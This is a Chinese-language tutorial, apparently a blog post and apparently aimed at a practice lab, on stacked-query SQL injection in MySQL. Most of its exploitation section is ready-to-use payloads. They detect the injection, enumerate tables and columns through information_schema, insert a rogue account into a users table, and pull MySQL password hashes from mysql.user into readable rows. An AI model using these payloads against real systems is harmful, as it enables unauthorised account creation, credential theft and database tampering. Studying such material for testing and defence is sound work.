SQL 注入漏洞(九)堆叠注入

一、堆叠注入

堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行
攻击的语句。
在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
select version();select database()
堆叠注入的危害是很大的,可以任意使用增删改查的语句,例如删除数据库、修改数据库、添加数据库用户。

二、堆叠注入的利用

1、判断注入

使用
id=1 and 1=1--+
id=1 and 1=2--+
先确定是否存在注入。

2、获取表

接着使用堆叠语法进行检测。
-999 union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
得到表:emails,referers,uagents,users

3、获取字段

-999 union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=users limit 1)--+
获得字段:id,username,password

4、添加账号和密码

知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表,直接添加管理员账号即可登录后台。
-999;insert into users(id,username,password)values(1000,at0,123456)--+
访问 1000 即可访问到刚刚添加的账号。

5、获取mysql密码

-999;insert into users(id,username,password)values(1001,(select authentication_string from mysql.user limit 1),123456)--+

id=1001

6、获取版本信息

-999;insert into users(id,username,password)values(1002,(select version()),123456)--+

id=1002
经验分享 程序员 微信小程序 职场和发展